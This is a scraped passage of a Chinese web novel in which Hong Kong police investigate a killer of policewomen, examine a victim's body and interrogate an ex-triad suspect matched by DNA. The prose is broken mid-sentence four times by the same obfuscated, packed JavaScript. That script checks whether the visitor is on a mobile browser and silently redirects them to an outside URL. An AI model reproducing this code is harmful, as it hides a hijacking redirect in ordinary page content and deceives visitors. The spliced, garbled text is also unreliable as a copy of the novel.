d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003109|161858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郭庭伟看着棉签在谭仪雯的指甲缝里刮来刮去，最后一起被送进了物证袋，物证袋又被装进了物证箱封存。 最后那个鉴证科的人又嘱咐了两句才离开。 “你先睡觉吧，我看着你，等明天早上我跟组里说。”郭庭伟靠在陪床椅上，脖子转了一圈，发出卡拉卡拉的声音，不过眼睛倒是睁得挺大，看起来是要熬一个通宵的。 “你不睡？” “我要是睡了，整个医院里还有谁能在坏人出现的时候有战斗力？现在你是唯一一个从女警杀人魔的手里跑掉的人，你从来不穿警服，也不太会把委任证挂在脖子上，他能知道你是警察，就代表有一点侦查手段。” 这就是郭庭伟最担心的，谭仪雯看起来只是比较有正义感，也不至于看一眼就被认为是警察，所以女警杀人魔一定是经过一段时间的蹲守才会确定谭仪雯的身份的，难保那个凶手不会在失手之后被激怒，然后一路追到医院里来。 到时候如果他睡着了，早上一睁眼看到的是这次死绝了的谭仪雯，他绝对难辞其咎。 不仅是从客观现实上难辞其咎，就连心理上也会觉得难辞其咎，毕竟谭仪雯的外号“得意”就是他给起的，现在大家都在用。 就算是给小猫小狗起名，时间久了也会有点情感牵扯的，更何况是活生生的人呢？ “你一个人真的没问题？” “之前这种任务我做过很多，你不用担心，赶紧闭上眼睛，睡觉。”郭庭伟打出一个ok的手势，叫谭仪雯赶紧放宽心。 白天本来就已经上了一天班了，晚上吃完饭本来应该是精神最放松的时候，结果却出了这么一档子事，很多人被这么一吓，十天八天都缓不过来，有些直接会昏睡上十几个小时。 至于他？ 这种熬夜的工作他郭庭伟做过很多，毕竟白天眼睛那么多，不能传递情报，晚上所有人都睡着的时候他才能偷偷传递情报出去，久而久之就习惯了。 谭仪雯这一觉睡得很不踏实，说到底还是被突然袭击的事情吓到她了，梦里都是那条长长的巷子。 梦境一遍又一遍的循环着同样的事情，但是结局又不太一样，有些是她靠自己成功逃脱，有些是路人救下她，还有一些是女警杀人魔成功把被她给带走了的。 第二天一早，距离正式上班还有几分钟时间，郭庭伟拨通了余子敬的电话。 “马上上班了，你和谭仪雯怎么还不来？” 郭庭伟听着余子敬的心情好像不太好，可能是因为他们两个迟到了，所以没怎么放在心上。 “有一个很重要的事情要告诉你，得意昨天晚上遇到女警杀人魔了，现在在医院休养。” 余子敬一时间哽住，好半天都没说话，感觉自己好像是错怪了这两个迟到鬼。 过了一会，余子敬的声音才从话筒的另一边传了过来。 “那我这个事情也很重要。” “你说。” “之前失踪的一位女警，昨天晚上被抛尸了。” 11. 血色花 三 郭庭伟没想到女警杀人魔案居然会有这样的进展，所以一下严肃了起来。 正巧这时候谭仪雯也醒了，迷迷糊糊想用自己受伤的那只手揉揉眼睛，结果却被轻微的刺痛蜇得一皱眉，摊开手看了看自己手指上深深的勒痕，这才如梦初醒。 “知道了，那叫老薛在走的时候来医院接我们一下，今天不能让得意单独行动，我还是担心如果那个杀人魔被这次的失手激怒，继续将得意定为目标。” 跟余子敬说完之后，郭庭伟放下了电话。 “一会老薛来接我们，我们先去签字办理出院，今天你就跟在我们附近，之后我会叫证人保护组对你进行保护，你不用担心自己的安全。” 香江对于正在处于危险中，并且急需保护的警察一直以来都不错，郭庭伟之前认识的好几个卧底最后被保护起来，很大一部分去了国外，还有一部分被送到了内地，只有少数因为主动要求或者机缘巧合等原因留在香江的。 一个单打独斗的杀人魔，虽然也很危险，但是比起社团里的那些亡命之徒还是好上不少的，毕竟社团人多，真想追杀一个人，除非立刻安排出国，不然很难逃得脱。 谭仪雯觉得自己今天好多了，如果脖子僵住不动的话，已经没有什么感觉了，手指稍微严重一些，估计还需要两个星期的时间才能恢复到正常状态。 “我能出勤，又不是腿手伤了，只是手指，而且我还有另一只手。” “让你只跟在我们身边你就乖乖听话，如果出了什么事情，案子的线索就断了，就算你给我们留下了指甲缝里的DNA也不如你本人的切实感受更有用。” “指甲缝里不一定有DNA。” “你不是说你用力抓了？这种情况下很有可能会有DNA的。” 郭庭伟站起身，伸出一只手扶着谭仪雯下了床，还顺手帮她把鞋子摆正，让谭仪雯可以在不低头的情况下直接穿上鞋子，免得她脖子上的勒痕在转动下又痛了起来。 谭仪雯没说话，只是跟着郭庭伟一路走到了办理出院的综合台，签下了自己的名字。 在这段期间内，郭庭伟一直十分警惕地看着周围，比以往见到的所有表情都严肃，眼睛也锐利得很，每一个可能来人的方向都被他注意到了。 “庭仔，我觉得你可以去飞虎试一试。” “咩啊？” “你不觉得你现在很像是在执行任务，眼观六路耳听八方的飞虎吗？”正好老薛也当过飞虎，如果有天赋的话，去当飞虎岂不是更帅？ “我应该当不了飞虎，飞虎要的都是底子比较干净的人，目前还没见到有我这个经历的人能进飞虎队。” 郭庭伟的眼睛一直都没有停下来，一直在环视四周，但是语气间确十分轻松，没觉得无法成为飞虎队的一员是什么大不了的事情——成不了就成不了，他现在的情况也很不错，总比继续在社团里潜伏的人好啊。 “我签好了，我们走吧。” “先别，在这里站一会，现在老薛还没来，到了外面我可能没办法应对那么多的人。” 郭庭伟伸手拦下了谭仪雯。 现在他们站的地方是综合台，背后就是一面墙，而且综合台里的人就是护士，这个护士郭庭伟记得，昨天晚上送谭仪雯来急诊的时候，就是这个护士在值班，所以肯定不会是女警杀人魔的同党。 而且如果这样，郭庭伟需要留意的范围就会缩小一大块。但如果离开综合台，需要提起警惕的方向就是四面八方所有方向了，甚至还要关注头上是否有高空坠物，他就算有八只眼睛也没法顾全所有方向。 没过一会，老薛的车就停在了医院门口，郭庭伟拉开车门，让谭仪雯坐在驾驶座的后面，他之前说过的最安全的位置，而他则坐在副驾驶。 “有没有事啊？”薛凯杰是从余子敬的嘴巴里听到谭仪雯的消息的，对谭仪雯的情况几乎完全不清楚，所以在谭仪雯还没有坐定的时候就迫不及待地问了起来。 “已经好得差不多了，现在都能出院了，医院肯定也觉得没有问题。” 如果实在重病，那医院肯定会拦着她不让她出院的，她又不是偷跑，还在综合台前站了一段时间，如果有问题，医院肯定会找人把他们拦住的。 薛凯杰回过头，看到了谭仪雯脖子上的深色勒痕，也不由得一声叹息。 这么看来，今天晚上下班的时候，他、庭仔还有Timosir肯定要分工合作，每天都要送谭仪雯和黄馥妮回家了，不然太不安全。 老薛一路行驶，从医院一路开车到了新娘潭。 新娘潭是一个香江的徒步爱好者们基本都知道的地方，位于大埔区与北区的船湾郊野公园里面，算是一个比较好的徒步地点，不过也只有一部分人特别钟爱在这里徒步，毕竟香江的徒步线路有很多，所以不会一窝蜂地涌到同一个地方。 这次发现的死亡女警名叫欧蕙珊，是主要在北区活动的女警，平时生活也很简单，周末没事的时候还会经常去福利院和养老院帮助有需要的人，不管在谁的眼里，欧蕙珊都是一个非常优秀的女生。 “得意啊！” 谭仪雯刚到现场，从薛凯杰的车上下来之后，早一步到达现场的黄馥妮就一路小跑着越过断掉的树枝，像是在障碍跑似的到了谭仪雯面前。“你没事吧？” “没有什么大事，小伤，只是看起来比较吓人，多休养一段时间，等皮肉长好了，找一点活血化瘀的药酒涂一涂就好了。” 谭仪雯把被勒破了的手指放在袖子里，没叫黄馥妮看到她手上更严重的手。不然黄馥妮肯定肯定又要一惊一乍的。 虽然特别行动处的工资会根据职务的微小区别做出区分，但是除了骆宝成之外，其他人的薪水差距没有那么大，黄馥妮算不上是最有钱的，不过她很喜欢打扮自己，语气也俏，谭仪雯一度认为如果黄馥妮如果不做警察，肯定会去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003110|161858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开婚介公司做媒婆。 手上的伤口如果被他看到了，一定会说“哎呀，受了这么严重的伤，这可是很要重视的，女孩子的手很重要，你看你的手这么漂亮”之类的话，谭仪雯不想听，所以索性对黄馥妮隐瞒这件事。 “美人三分颈，你这个要恢复好久才看不出的，到时候我带你去见一个我之前常去看的跌打师傅，之前我脚腕肿得像个叉烧包，别人都说一定是要留下深色痕迹的，结果老师傅开的药酒搓了没多久就消失了。” 黄馥妮说完还蹦蹦跳跳给谭仪雯展示自己的脚踝到底是多么的康健。 谭仪雯看着黄馥妮的样子，觉得如果不做警察和媒婆，她还可以去当儿童节目的主持人，会打扮又有活力。 黄馥妮本来还在落满树叶的山坡上跳着，结果不知道是不是因为树叶之间已经长了苔藓，黄馥妮一个不小心，脚下一滑。 谭仪雯眼疾手快，把黄馥妮扶住了。 “在山坡上小心点，不然说不定又要去看跌打医生了。”郭庭伟站在一边，看着险些摔倒的黄馥妮，开口插了句嘴。 黄馥妮翻了个白眼——这个郭庭伟，就是从社团里学来的油滑手段，要不是看在谭仪雯的面子上，她肯定要上去锤他一拳。 余子敬本来在跟北区的重案组交流，毕竟发现尸体的地点是北区，女警平时工作和活动几乎都在北区，所以他们西九龙的特别行动处被调过来帮忙理论上来说是在管其他区域的事情，所以要跟北区的同僚们了解一下详细的情况。 西九龙特别行动处虽然是特别行动处，如有需要可以被带到所有区域负责新任务，但是说到底还是西九龙这个区域的下属机构，人生和地不熟全占了。 听到黄馥妮这边的声音之后回头，也看到了谭仪雯，跟与自己交流的人打了个招呼，随后跨步走到了谭仪雯面前。 “昨天怎么回事？” 他记得昨天的时候郭庭伟主动请缨送谭仪雯回家来着，怎么会遇到袭击呢？是郭庭伟没好好完成互送的任务还是什么？ 余子敬在警队里算是一个高材生，而郭庭伟是最低一层摸爬滚打上来的。这两个派别的暗自争斗是从警队正规以来从来就没有停止过的事情，现在比十年前好很多，但是私下里两边还是不愿与对方多接触。 学院派觉得野路子是没办法考上大学才只能从最低一层做起，而野路子觉得学院派不懂得变通，在很多任务中都是野路子的人发挥了更大作用。 虽然郭庭伟没有这个意思，但是余子敬有明显的精英气，对郭庭伟这种野路子派就没有那么友好了。 当然他对组里的很多人都不太热络，只是跟郭庭伟关系最一般而已。 知道余子敬对野路子带有偏见的谭仪雯把事情说一遍，不过着重说如果不是郭庭伟，她肯定会被抓走，免得这两个人在北区重案组的眼皮子底下产生摩擦。 特别行动处这个家没有她谭仪雯得散！ 12. 血色花 四 “你先跟我过来一下，见一下北区的重案组高级督察。”余子敬不想管郭庭伟，所有的心思都在破案身上。 更何况几乎所有能做到高级督察这个位置的警察，都是先上了大学，然后再报考警校的，所以大家都是学院派，自然也更聊得来。 几个高级督察跟余子敬穿的衣服都差不多，表现出来的气质也没差多少，谭仪雯就这么被一群西装革履的人围在中间，对着她的手指和脖子上的伤口和伤痕看了半天。 “虽然像，但是还有一些区别，所以凶手现在应该是升级了手段。” 为了打消谭仪雯心中的疑虑，一群高级督察簇拥着谭仪雯，将她带到了一个裹尸袋旁边，将拉链拉到了欧蕙珊的胸口处。 欧蕙珊的脸上现在毫无血色，脖子上也有一道勒痕，不过看形状，是比谭仪雯脖子上的那条痕迹宽一些的。 不知道是淤血在生前已经扩散了还是所用凶器本来就比金属丝更粗。 看宽度，欧蕙珊脖子上的痕迹最核心的部位差不多有一指宽，边缘的痕迹差不多各往外延长一指的宽度。 谭仪雯之前不是医学生，也没有接触过遗体，唯一接触的有关于人命的案子也是上次的糖水铺投毒事件，不过那次的死者麦咏欣死亡的事情是郭庭伟转告她的，她没有亲自去看过。 这还是她第一次直面遗体。 不知道是不是因为欧蕙珊死亡的时候本来就面容平和，谭仪雯在看到欧蕙珊的时候没有被吓得双腿一软，只是尽可能多的看着她的脸。 谭仪雯知道自己看不出什么，她没学过什么法医知识，专业的检测肯定法医亲自出报告，她只是在怜惜欧蕙珊。 平时会去做义工的人怎么会成为女警杀人魔手下的亡魂呢？ 而且这样的人不止一个，除了欧蕙珊之外，还有之前已经被发现遗体的黄茵，还有暂时没有被发现，现在仍有可能生还的罗秀灵。 自己侥幸逃脱，说不定还有下一个受害者，可能就是黄馥妮，也可能是其他人。 香江的女警这么多，真的说不准下一个受害人是谁，还是早点抓到这个女警杀人魔最好。 装着欧蕙珊遗体的裹尸袋在给谭仪雯看过之后又拉上了，两个人一前一后抬着沉甸甸的裹尸袋上了车，这辆车的重点是尸检房。 郭庭伟的手机又响了起来，在新娘潭山坡上的树林之间来回游荡。 “hello？” 是一个郭庭伟不认识的电话号码，如果这个电话是在他还在卧底任务的时候打过来的，他肯定是不会接的，但现在他已经没有做卧底任务了，便接了起来。 “hello，请问是不是西九龙特别行动处的……郭sir？”对方有些迟疑，不过还是准确地说出了郭庭伟的信息。 郭庭伟觉得这个名字他很熟悉，好像最近就听过似的，可是却又想不起来到底是什么时候听过了。 “是我，有什么事情？” “是这样的，昨天晚上送检的DNA已经出结果了，不过有两个人的DNA，一个是男性，一个是女性，女性的DNA在库里没有出现匹配结果，男性的DNA有相关匹配。” 郭庭伟在人群和树影里寻找着谭仪雯的身影，这个消息最应该告诉的人就是谭仪雯。 “女性的DNA可能是受害人自己的，一会我问问她，看看她什么时候有时间，去你们那边做一个抽血，确定一下女性DNA是不是属于得意……Madam谭的。” 郭庭伟总觉得有哪里不对劲，为什么谭仪雯的DNA在库里没有匹配呢？一般来说如果家人有DNA提供的话，应该是能找到血缘相近的人的DNA的。 “那个男性的DNA是谁的，可以提供姓名和背景吗？” 比起对谭仪雯DNA的猜测，郭庭伟现在更在乎的是真正的凶手到底是谁。 谭仪雯已经获救，但是还有一个女警在女警杀人魔的手中，得快点找到他，这样才能解救最后的人，不能再出现新的死者了。 “是一个曾经坐监的社团人员，在进监狱的时候提取过DNA，所以能找到。名字叫……吴文同，绰号叫五筒，文是……” 鉴证科的人刚想继续说这个吴文同到底每个字都是什么，郭庭伟就已经知道了答案。 “五筒？是不是数字帮的？” “等下，我看一下。”电话那边沉默了几秒钟，然后说道：“对，是数字那边的。” 原来是五筒啊，那还真是……老熟人了。 在数字帮的时候，他们就曾经共事过，后来有一次他卧底的任务险些败露，就想办法把嫌疑甩到了五筒身上，老大还想着怎么处理掉五筒呢，结果在做出决断之前，郭庭伟就把五筒给送进去了。 或许底层的针只会让社团觉得不痛不痒，但是中高层的针则会真正的刺痛他们的神经，只要被抓到，那几乎就离死不远了。 郭庭伟只是想不被怀疑，五筒说到底都不是他的仇人，还不至于置他于死地，所以就做了个局，让五筒在被社团老大搞死之前被抓到，判了好多年。 算算日期，现在还不应该出来，但是如果在监狱里表现不错的话，减刑几年提前出来也是有可能的。 忽的，郭庭伟像是想到了什么似的瞪大了眼睛。 难道说这个五筒出来之后执着于绑架女警是因为想要找到陷害他的郭庭伟？如果真是这样的话，那谭仪雯差点遇险就是因为他了。 五筒虽然也不是什么好人，是彻头彻尾的社团的人，但他被社团老大怀疑、最后被送进监狱确实是郭庭伟一手制造的，只要他知道了，出狱之后记恨自己也很正常，记恨了之后想要报复也顺理成章。 到时候如果抓到了五筒，五筒把这个理由说出来了，他用什么样的情绪面对谭仪雯呢？ “你那边能不能看到五筒是什么时候出狱的？” “我这边不行。” 看来不能从鉴证科那边知道五筒是什么时候从监狱里出来的了，本来还想看看前几个女警失踪的时候吴文同有没有从监狱里出来，如果时间能对得上，那五筒就很有嫌疑了。 他本想着从鉴证科那边获得资料，绕过重案组和特别行动处，提前知道五筒这么做的动机。现在必须要通过特别行动处和重案组的信息系统了。 想到这里，郭庭伟突然觉得自己陷入了误区，他太想保全自己了，不想让别人知道事情由他而起，毕竟当卧底最重要的就是保全自己，但是现在他已经不是卧底了，所以保全自己不是第一要务。 抓到凶手才是！ “Timo，过来一下。” 余子敬本来带着谭仪雯跟那群高级督察聊的很好，被郭庭伟突然打断有些不悦，不过还是走到了郭庭伟身边。 “咩事啊？” “得意昨天差点遇险的时候想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003111|161858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到过用抓挠的方式留下凶手的DNA，昨天晚上我叫鉴证科的人去做了检测，刚刚鉴证科的人打电话过来，说已经找到了匹配的DNA。” 这可是重大进展，余子敬也顾不上什么对郭庭伟的偏见和被打断的不悦。 他们再怎么也是同事，特别行动处人数不多，虽然听说以后会加人，但是也不至于会内斗成那样。 “谁？有详细身份资料吗？” “叫吴文同，之前是一个古惑仔，之前几年一直在坐牢，暂时不知道什么时候被放出来的，需要用内部系统才能查询，鉴证科的人说他们那边只能查到这些，再深入一些就没有权限了。” 重案组可以查，特别行动处也有这个权限。 余子敬一听到古惑仔，就皱了皱眉，然后眼睛斜瞥了一眼郭庭伟——他记得郭庭伟之前就在社团卧底来着？ “我们两个都在数字帮，后来他进监狱是我陷害的，因为我要暴露了，社团老大想把钉子拔掉。”从某种角度来看，郭庭伟确实是在保护五筒不被社团老大灭口，但是对五筒来说，不管是被怀疑还是进监狱都是无妄之灾。 不！ 余子敬马上否定自己刚刚的下意识反应。 都是古惑仔了，进监狱是应该的，就算不被郭庭伟“陷害”，古惑仔也应该进班房坐监。 余子敬作为见习督察，立刻将这个情况上报给了在场的高级督察，刚刚还站在一起说话讨论接下去应该如何发展的高级督察们瞬间眼冒金光，比饿狼看到羊群时候的眼睛还亮。 “回去，去电脑上查一下吴文同是什么时候出狱的，如果时间对得上，就申请逮捕令！” 虽然不知道最后一个罗秀灵是不是还活着，但是他们要当作她还活才行，时间流逝一分钟，罗秀灵的生命就会多一分的危险。 有了新目标的高级督察一改刚刚挺拔的站姿，穿着高档皮鞋就在山坡上跑了起来，跑到山坡下钻进车里的速度很快，训练有素的样子。 谭仪雯也被他们带动着跑了起来，毕竟是伤害自己并且已经杀了两个女警的凶手，谭仪雯也想救下罗秀灵。 再加上她是DNA的提供者，如果不是她违抗身体的本能伸手去抓吴文同裸露在外的皮肤，他们还没有DNA线索呢，所以高级督察们行动的时候也带上了她。 “这么快就查出来了？” “因为之前就已经有了案底，所以只要检测出了DNA，数据库里就直接弹出了五筒的数据。”郭庭伟将未知女性DNA的事情忘在了脑后。 女性DNA没有过犯罪记录，所以就算凶手有万分之一的可能是女人，也不如五筒的嫌疑大。 “都是哪个字？” “文化的文，同僚的同。”郭庭伟脱口而出。 “谁有纸笔能借我一下？” 坐在谭仪雯旁边的余子敬从胸前口袋里拿出了他的钢笔，又从内衬里拿出来一个巴掌大的小本，递到了谭仪雯面前。 谭仪雯随便翻开一页，在颠簸的车子上写下了吴文同的名字。 一秒、两秒、三秒…… 凶手的字样始终没有出现，甚至那个出现在郭庭伟和谭耀樟名字上的圆圈都没有出现。 谭仪雯愣住了。 现在女警杀人魔事件已经有了两名死者，欧蕙珊和黄茵，怎么可能没有凶手字样呢？ 难道说……吴文同不是女警杀人魔？ 13. 血色花 五 谭仪雯有些不敢相信，毕竟上一个案件她才通过自己这个bug级别的技能锁定了嫌疑人，怎么现在这个吴文同写上去之后就没有显示了呢？ 会不会是失效了？ 为了确定技能是否失效，谭仪雯又写下了谭耀樟的名字，可是在最后一笔写完之后，一个圆圈就浮现在了名字的外圈。 看来没有失效。 所以是怎么回事呢？ 鉴证科的人明明说她指甲里的DNA是吴文同的，但是自己的技能确实没有显示吴文同是凶手。 难不成是说其实女警杀人魔并不是一个人，而是两个或者两个以上的团伙作案？ “黄茵是在哪里被发现的？哪个区？” “是新界。” 余子敬想了想，上一个受害者被发现的时候他们还没有被要求协助重案组，所以余子敬也只是在跟那些高级督察聊天的时候才听到了这个信息。 黄茵是在新界被发现的，欧蕙珊是在北区被发现的，抛尸地点不一样。 谭仪雯看着纸上的两个名字，谭耀樟上画着圈，而吴文同的名字上面，却什么都没有。 看着更像是团伙作案了，如果不是团伙作案，那就有可能是模仿作案。 虽然害自己受伤的人确实是吴文同，但是自己的事情可以被往后放一放，最紧急的是罗秀灵的生命。 余子敬的手机哔哔哔的响了起来，是一则短信。 “是尸检那边发来的消息，根据第一个受害者的遗体解剖结果，她被发现的时候，预计死亡时间是四十八小时之前，也就是说，从黄茵失踪开始，到被发现死亡，是一百六十八小时，也就是七天前，被害的时间应该是在被抓走之后的一百二十小时。” “在真正迎来死亡之前，黄茵被囚禁了五天？”郭庭伟觉得有哪里不对劲，但是又说不上来。 “对。”余子敬点头。“现在要等欧蕙珊的尸检结果出来，这样才能知道她是被绑架多久之后死亡的，如果有规律的话，我们就有了deadline。” 余子敬也知道有deadline对破案来说不是什么好事，如果没有按时破案，就代表着之后就很有可能不用再找罗秀灵了，只需要搜寻她的遗体，但是死亡如果有规律，总比没有规律好一些。 起码能根据已有的线索做更详细地凶手心里侧写。 时间紧迫，就连正在开车的老薛都暗暗踩了油门，这样能更快查到资料。 车里的四个人都陷入了沉默，余子敬难得的焦虑，老薛扶着方向盘的手握紧又松开，郭庭伟不停的舔嘴唇，谭仪雯盯着笔记本上的两个名字。 新娘潭虽然在北区的管辖范围，但是位置却在大埔区和北区的交接处，所以开车到警署着实花了不少时间。 几辆车停在警署楼下之后，每辆车的四个车门都同时打开，又砰砰砰地关上了，听起来像是一串鞭炮接连炸响。 谭仪雯混在队伍里，一群人压根没等电梯，直接选择了走楼梯。 那些高级督察看起来西装革履，像是坐惯了办公室的，结果每个人都可以在楼梯上一次迈上两三级台阶，还好可以查询吴文同资料的电脑就在三楼，再往上走一走说不定她就要掉队了。 他们这群人再怎么是高材生学院派，那也是正儿八经参加过警察训练的，她穿越来的时候别说警察训练了，她甚至连毕业都没赶上。 为首的高级督察冲进办公室，将一个正在敲电脑的办公室见习督察连人带转椅一起推出了两米远，半个身子伏在电脑前噼里啪啦地打着字。 委任证好几次打到他打字的手，高级督察直接抓住脖子上的委任证，往后一甩，委任证只能老老实实地贴在他背后的西装面料上。 资料的调取需要一点时间，每个人都屏住了呼吸。 “是三个月前出狱！联系鉴证科出DNA检测报告，去申请逮捕令。” 在出狱日期跳到屏幕上的那一刻，其中一个高级督察兴奋至极，兴致勃勃地准备开始抓捕吴文同了。 像吴文同这种刑满释放人员，尤其之前还是古惑仔的人，出狱之后的活动范围几乎是确定的，而且会有专门人员按时对他进行回访。 虽然专门做回访的人需要对接很多古惑仔，所以经常会有遗漏，但吴文同不在被遗漏的行列，所以搜查令下来之后，吴文同就在自己的住所里被抓到了，从检验报告出来，到抓捕成功，拢共就花了不到半天的时间。 除了谭仪雯之外，其他人都觉得吴文同就是女警杀人魔，所以没有像之前的那个罪犯一样先晾他几个钟，而是直接安排专业的人员进行了审讯。 吴文同的样子看起来很放松，比郭庭伟的样子有过之而不不及，也不难看出郭庭伟到底是从哪里学到的流氓气。 “阿sir啊，没有理由不要抓人好不好？” “如果对逮捕令有异议，你可以趁着现在仔细看看搜查令，昨天晚上你在那里？”审讯的人讲逮捕令推到吴文同面前。 “昨晚？我想想……”吴文同没有把眼睛放在逮捕令上，而是装模作样地回忆起来。“吃饭咯，然后在街上闲逛，我们这种人，出狱之后没有工作，可不就是要这样过活？” “有没有去过新娘潭？” “没有。”面对这个问题，吴文同回答得很干脆，现在他的活动范围就是九龙，北区距离他所在的地方太远，坐车去再坐车回来要一整天，浪费时间不说，也浪费钱，他现在可不比之前了，没那么多钱。 谁能想到他进去之后没多久，社团就没了？现在他出来，只能重新找社团，要从最底层干起啊！ 一想到这，吴文同就觉得很不忿。 “这几个人你认识吗？”审讯人员又从文件夹里把几个受害人的照片拿了出来，按照时间顺序一一摆开，从左到右依次是黄茵、欧蕙珊、罗秀灵和谭仪雯。 前三个人吴文同都好像从来没有见过似的略过了，最后这张谭仪雯他多看了两秒。 “没见过。” “没见过这几个人，那你手上的伤是谁抓的？” 吴文同把袖子往下拉了一点，遮住了手背到手腕上的抓痕，不回答提出的问题。 “我们用一天时间抓住你，你不会以为是随便抓的吧？”因为罗秀灵至今下落不明，所以审问也不得不变得急躁了起来。“那个被你藏起来的女警去哪了？” “要不要这么凭空污人清白啊，不要以为我之前是古惑仔，就什么罪名都往我头上安。”吴文同现在确实在重操旧业，但是他最讨厌的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003112|161858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是别人往他身上安罪名，之前的牢狱之灾就是被人安了罪名才进去的。 审讯人员从桌上拿起谭仪雯的照片，两只手指夹着举在吴文同面前。 “昨天她被袭击，我们在指甲缝里发现了你的皮肤组织，是不是你手上的抓痕你应该比我清楚。”不管其他几个人的事情吴文同认不认，袭击谭仪雯的事情是铁证如山。 谭仪雯也是警察，虽然刚入职不久，但是袭击她也是袭警。 吴文同侧仰着头，拒绝交流。 站在单面镜另一侧的谭仪雯看着吴文同的反应，越来越觉得他好像不是女警杀人魔。吴文同伤害了她的罪名确实逃不脱，但其他几个……真的有时间抛尸吗？ “吴文同有车吗？” “应该没有。”郭庭伟回答了谭仪雯的问题。“他刚出狱几个月，现在应该还没什么钱，如果想要车，就要借贷，正规贷款是肯定拿不到的，高利贷五筒绝对不会碰。” 至少在他和吴文同在同一个社团里的时候，吴文同是绝对不会碰高利贷的。 吴文同就是放贷的，自然知道碰了高利贷之后利滚利会滚成什么样，而且如果用贷款买了车，被抓的时间他应该在外面开车赚钱，而吴文同却是在房间里被抓的。 “那他是怎么带着黄茵和欧蕙珊去新界和新娘潭的呢？” 这个问题确实是一个无解的难题，抛尸地点并不集中，分别在两个不同的区域，吴文同一个在班房里蹲了那么久，现在刚出来，还没有车的人，是怎么带着两个尸体跑到相距这么远的地方的呢？ 这不合理。 况且就他现在住的那间屋子，一眼就望到底了，哪里能藏人？ 可是除了吴文同，他们再没有其他线索了，而且他有绝对可以再入狱的理由。 审讯了好半天，吴文同最后只松口到自己确实看准了谭仪雯，并且确实动手了，但其他人的事情与他无关。 气得审讯人员都想冲过去给吴文同两拳了，居然只把证据确凿的那一部分给招了，那其他三个人算是什么？前两个白死了？还有一个是现在有没有吃喝，是不是活着都不知道！ 余子敬的电话又响了起来，他走到角落，接起了电话。 经过几句来回，电话被挂断，余子敬转过身，对特别行动处的其他人说到。 “这次是四天。” 其他人或许一头雾水，但是西九龙特别行动处的人都明白余子敬的意思。 黄茵从失踪到死亡的时间是五天，也就也是一百二十小时。轮到欧蕙珊，按照遗体肝温和环境温度推算，时间缩短到了九十六个小时，也就是四天。 按照这个时间，罗秀灵的存活时间应该是七十二个小时，可是距离她被绑走到现在已经过了六十小时，还有十二个小时左右的deadline，而他们一点线索都没有。 虽然理论上罗秀灵还活着，但是获得援救机会微乎其微，所有人都沉默了。 忽的，谭仪雯灵光乍现。 吴文同在她的bug技能下没有显示凶手字样，或许他不过是负责绑架她到某处的黑手套，真正的女警杀人魔另有其人呢？ 从吴文同这里深挖金钱往来关系，只要查得够快，罗秀灵还是有机会逃出生天的！ 14. 血色花 六 北区的重案组成员们在几个高级督察的带领下去寻找罗秀灵的线索去了，还留下了六七个专门负责审讯的督察和见习督察对吴文同开展审讯车轮战。 不能打人，但是不代表不能用其他方式消磨犯罪嫌疑人的意志，车轮战只是让犯罪嫌疑人陷入持续的高强度状态，除非经历过专业训练的人，不然用不了一天就会受不了，把一切都吐露出来。 不过吴文同嘛，之前当过古惑仔，也坐过牢，意志力肯定是要比一般人坚强很多的，所以似乎需要多一点点时间。 经历过三次轮换之后，谭仪雯终于还是忍不住了。 “要不然，我也进去吧。” 听到这话，余子敬是第一个不同意的。 一来是因为谭仪雯没有充足的经验，上次对吴大力能成功也是因为吴大力本来就心虚，可吴文同不一样，他死猪不怕开水烫。二来她是受害者，吴文同现在只是精神疲惫，又不是精神瘫痪，如果再出什么事情，那北区的同事们也不好做。 “反正现在还没问出来什么事情，现在有这么多人，就算吴文同真的有什么过激举动，你们肯定也能第一时间冲进去。”谭仪雯心里几乎可以确定吴文同没杀过人，最多也只是会伤人而已，所以便没有那么害怕了。 “我不同……” 余子敬拒绝的话还没有说完，谭仪雯就说出了一个他没办法拒绝的理由。 “你可以等，但罗秀灵等不了，她只有十二个小时了。” 余子敬沉默了十几秒，实在是没有什么理由拒绝，反正现在已经没有别的办法了，试试让谭仪雯去审讯也无妨。 